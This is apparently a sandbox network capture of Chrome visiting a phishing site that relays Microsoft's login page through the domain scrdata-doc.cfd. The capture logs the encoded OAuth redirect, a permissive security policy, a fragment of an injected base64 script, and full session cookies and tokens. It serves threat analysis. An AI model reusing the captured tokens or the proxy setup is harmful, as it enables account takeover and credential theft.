2024-04-26 12:37:24 UTC	3214	OUT	GET /?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw== Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; fpc=AszQtRD_nHZBkxtZm7ZYv5s; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8vBBYsqv2wVVE2GhFqG0N9Me0A1GRLrxIXMJ4jElqfAIjpqiFRlZqDrBnhENSkwUC9wL4tmIFmwNrGA9r5kwKiIk22ALSHj7BNXexxLycJSHzJPbLHWJkKU8rmv0jsDYENXKVuLBKilcx99i_PBOnakrUhtIoPltZqt_F4p5vIrggAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-04-26 12:37:25 UTC	2446	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Expires: -1 Strict-Transport-Security: max-age=31536000; includeSubDomains Link: <https://aadcdn.msauth.net>; rel=preconnect; crossorigin,<https://aadcdn.msauth.net>; rel=dns-prefetch,<https://aadcdn.msftauth.net>; rel=dns-prefetch P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: cd79aefd-ab5d-4f2d-a02f-0acc6638d000 x-ms-ests-server: 2.1.17846.6 - WEULR1 ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; expires=Sun, 26-May-2024 12:37:25 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; domain=6knvejjuzh3.scrdata-doc.cfd; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; domain=6knvejjuzh3.scrdata-doc.cfd; path=/; secure; HttpOnly; SameSite=None Set-Cookie: fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; expires=Sun, 26-May-2024 12:37:25 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Date: Fri, 26 Apr 2024 12:37:24 GMT Connection: close content-length: 39130 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';
2024-04-26 12:37:25 UTC	13938	IN	Data Raw: 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 63 6c 61 73 73 3d 22 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 64 61 74 61 3a 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 3b 62 61 73 65 36 34 2c 5a 6e 56 75 59 33 52 70 62 32 34 67 59 79 67 70 65 32 6c 6d 4b 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 57 56 79 65 56 4e 6c 62 47 56 6a 64 47 39 79 4b 43 49 75 59 69 49 70 49 48 78 38 49 43 46 6b 62 32 4e 31 62 57 56 75 64 43 35 78 64 Data Ascii: ... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html dir="ltr" class="" lang="en"><head><script src="data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xd
2024-04-26 12:37:25 UTC	16384	IN	Data Raw: 46 2d 58 47 46 2d 51 58 6c 38 78 69 6a 6e 4e 4a 4c 6a 56 31 6a 58 51 73 64 33 45 4d 43 33 4b 50 6a 4b 72 4d 38 44 51 32 44 44 4a 49 4e 67 33 49 38 33 49 32 79 6b 35 7a 4d 6a 49 71 39 33 47 4e 4d 69 34 49 39 67 37 4c 71 58 51 4c 54 49 35 4d 38 7a 5a 4a 64 58 58 4f 43 6b 5f 53 6a 53 6a 31 4b 50 44 77 64 51 5f 30 71 38 67 76 38 6a 50 4f 44 61 39 4d 73 73 78 4b 64 6a 48 77 44 50 4a 4b 30 53 30 71 4b 39 48 4e 44 79 68 66 78 55 78 55 55 47 31 69 5a 67 50 36 4f 54 63 5f 37 78 51 7a 57 33 35 42 61 6c 35 6d 79 67 55 57 78 67 63 73 6a 4b 39 59 65 41 79 59 72 54 67 34 75 41 51 59 4a 42 67 55 47 48 36 77 4d 43 35 69 42 59 62 71 33 33 57 56 5a 32 4e 58 36 5f 6f 76 30 4f 63 36 6b 32 5a 78 67 65 45 55 71 33 35 4a 53 56 70 6f 73 61 6d 58 56 79 70 51 63 32 47 57 51 57 4b Data Ascii: F-XGF-QXl8xijnNJLjV1jXQsd3EMC3KPjKrM8DQ2DDJINg3I83I2yk5zMjIq93GNMi4I9g7LqXQLTI5M8zZJdXXOCk_SjSj1KPDwdQ_0q8gv8jPODa9MssxKdjHwDPJK0S0qK9HNDyhfxUxUUG1iZgP6OTc_7xQzW35Bal5mygUWxgcsjK9YeAyYrTg4uAQYJBgUGH6wMC5iBYbq33WVZ2NX6_ov0Oc6k2ZxgeEUq35JSVposamXVypQc2GWQWK
2024-04-26 12:37:25 UTC	8808	IN	Data Raw: 73 2e 72 65 61 64 79 53 74 61 74 65 26 26 68 28 65 2c 6f 2c 69 2c 73 29 7d 2c 74 28 73 29 2c 72 28 22 5b 24 4c 6f 61 64 65 72 5d 3a 20 4c 6f 61 64 69 6e 67 20 27 22 2b 28 61 2e 73 72 63 50 61 74 68 7c 7c 22 22 29 2b 22 27 2c 20 69 64 3a 22 2b 28 61 2e 69 64 7c 7c 22 22 29 29 7d 65 6c 73 65 7b 6f 26 26 6f 28 29 7d 7d 76 61 72 20 70 3d 65 28 29 2c 79 3d 70 2e 73 6c 4d 61 78 52 65 74 72 79 7c 7c 32 2c 6d 3d 70 2e 6c 6f 61 64 65 72 7c 7c 7b 7d 2c 62 3d 6d 2e 63 64 6e 52 6f 6f 74 73 7c 7c 5b 5d 2c 24 3d 6d 2e 74 65 6e 61 6e 74 42 72 61 6e 64 69 6e 67 43 64 6e 52 6f 6f 74 73 7c 7c 5b 5d 2c 77 3d 74 68 69 73 2c 45 3d 5b 5d 3b 77 2e 72 65 74 72 79 4f 6e 45 72 72 6f 72 3d 21 30 2c 77 2e 73 75 63 63 65 73 73 4d 65 73 73 61 67 65 3d 22 4c 6f 61 64 65 64 22 2c 77 2e Data Ascii: s.readyState&&h(e,o,i,s)},t(s),r("[$Loader]: Loading '"+(a.srcPath\|\|"")+"', id:"+(a.id\|\|""))}else{o&&o()}}var p=e(),y=p.slMaxRetry\|\|2,m=p.loader\|\|{},b=m.cdnRoots\|\|[],$=m.tenantBrandingCdnRoots\|\|[],w=this,E=[];w.retryOnError=!0,w.successMessage="Loaded",w.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49742	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:24 UTC	2269	OUT	GET /favicon.ico HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw== Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; fpc=AszQtRD_nHZBkxtZm7ZYv5s; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8vBBYsqv2wVVE2GhFqG0N9Me0A1GRLrxIXMJ4jElqfAIjpqiFRlZqDrBnhENSkwUC9wL4tmIFmwNrGA9r5kwKiIk22ALSHj7BNXexxLycJSHzJPbLHWJkKU8rmv0jsDYENXKVuLBKilcx99i_PBOnakrUhtIoPltZqt_F4p5vIrggAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
2024-04-26 12:37:25 UTC	1175	IN	HTTP/1.1 404 Not Found Cache-Control: private Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Strict-Transport-Security: max-age=31536000; includeSubDomains P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" x-ms-request-id: eca6eed0-edea-4501-86d2-3c85026bc400 x-ms-ests-server: 2.1.17846.6 - NEULR1 ProdSlices nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} x-ms-srs: 1.P Referrer-Policy: strict-origin-when-cross-origin Date: Fri, 26 Apr 2024 12:37:24 GMT Connection: close Content-Length: 0 Content-Security-Policy: default-src * data: blob: filesystem: about: ws: wss: 'unsafe-inline' 'unsafe-eval'; form-action * data: blob: 'unsafe-inline' 'unsafe-eval'; script-src * data: blob: 'unsafe-inline' 'unsafe-eval'; connect-src * data: blob: 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src * data: blob: filesystem: ; frame-ancestors 'self' * http://* https://* file://* about: javascript: data: blob: filesystem: ; object-src * data: blob: filesystem: 'unsafe-inline' 'unsafe-eval'; style-src * data: blob: 'unsafe-inline'; font-src * data: blob: 'unsafe-inline';

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49743	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:28 UTC	2754	OUT	GET /aadcdn.msauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_1ito3russhq-9gioj-zd4w2.css HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA
2024-04-26 12:37:29 UTC	781	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:28 GMT Content-Type: text/css Content-Length: 20314 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 27 Dec 2023 18:18:12 GMT ETag: 0x8DC07082FBB8D2B x-ms-request-id: e408d48c-501e-007b-0f5d-963289000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123728Z-16f6b7d4654rnbpqq74d6aeh200000000bc0000000000161 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-26 12:37:29 UTC	15603	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 7d 6b 73 e3 36 b2 e8 f7 f9 15 5c a7 52 3b ce 4a 8c 48 3d 2d 57 52 3b 99 cc 26 3e 67 5e 35 33 d9 47 a5 52 5b b4 44 59 3c 43 89 ba 24 65 8f 57 47 ff fd e2 8d 06 d0 20 29 8f b3 d9 7b 2b 27 67 13 0b dd 6c 00 dd 8d 06 1a e8 06 be fe ea 0f c1 f3 62 77 5f 66 37 eb 3a 78 fa fc 3c 78 95 2d ca a2 2a 56 35 29 2f 77 45 99 d4 59 b1 0d 83 67 79 1e 30 a4 2a 28 d3 2a 2d 6f d3 65 18 7c f5 f5 d7 5f fd e1 49 bf fb ff 05 ef 3f 3c 7b f7 21 78 f3 97 e0 c3 8f 57 ef be 0f de 92 5f ff 08 5e bf f9 70 f5 fc 45 d0 99 ca 93 27 1f d6 59 15 ac b2 3c 0d c8 7f af 93 2a 5d 06 c5 36 28 ca 20 db 2e 44 ab d3 2a d8 90 7f 97 59 92 07 ab b2 d8 04 f5 3a 0d 76 65 f1 3f e9 82 f4 21 cf aa 9a 7c 74 9d e6 c5 5d f0 94 90 2b 97 c1 db a4 ac ef 83 ab b7 e7 61 f0 81 e0 16 Data Ascii: }ks6\R;JH=-WR;&>g^53GR[DY<C$eWG ){+'glbw_f7:x<x-V5)/wEYgy0(-oe\|_I?<{!xW_^pE'Y<]6( .D*Y:ve?!\|t]+a
2024-04-26 12:37:29 UTC	4711	IN	Data Raw: e7 bc b1 e2 92 61 7d df b0 68 ac ab 2c aa b1 88 da cb c6 22 89 f4 a2 b1 42 53 1e da 58 e7 55 1e b5 fb a5 96 31 c6 85 9c 5c 95 58 0f 77 34 04 a7 bc ef e9 bc 62 55 e4 cb 9d 46 11 60 f2 34 8a 20 ba 0a e1 1d 2d b3 ba 41 d4 6a 33 50 25 58 6c a8 15 02 68 eb 56 83 ba b5 a0 21 5d f4 aa e1 60 30 5e 26 13 b7 4f 5a e3 0c 32 50 fb 10 40 6b 9f fc 5a d9 82 86 f5 c9 a7 ad bc 4f 0f 53 c6 3e 8f 75 ef 81 fb bb e5 60 13 bf d0 d1 86 c0 d4 70 43 60 72 bc 81 ca 0c ee 7b ca cd 06 61 90 56 01 34 34 b4 0d 0f 13 81 b8 e1 dc 70 52 d0 d3 64 f3 b6 df 8a 2c 1c d2 a7 e1 c5 ec 1c b9 2b 18 00 b1 42 22 26 de 7d 9d 59 8d 1f 8e 83 89 00 6e 65 8f 64 aa a2 fc c3 d8 65 70 5f b6 f7 9c 65 7e ea 83 9d 2c f7 31 10 e4 08 df ce 47 c4 df 33 f4 3c 40 c9 2e 2b 17 af 8a ce 37 c9 36 db ed 73 c6 5e f7 a6 Data Ascii: a}h,"BSXU1\Xw4bUF`4 -Aj3P%XlhV!]`0^&OZ2P@kZOS>u`pC`r{aV44pRd,+B"&}Ynedep_e~,1G3<@.+76s^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49745	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:28 UTC	2731	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_jHSrlUosdD1xxbmcR_lMNA2.js HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVF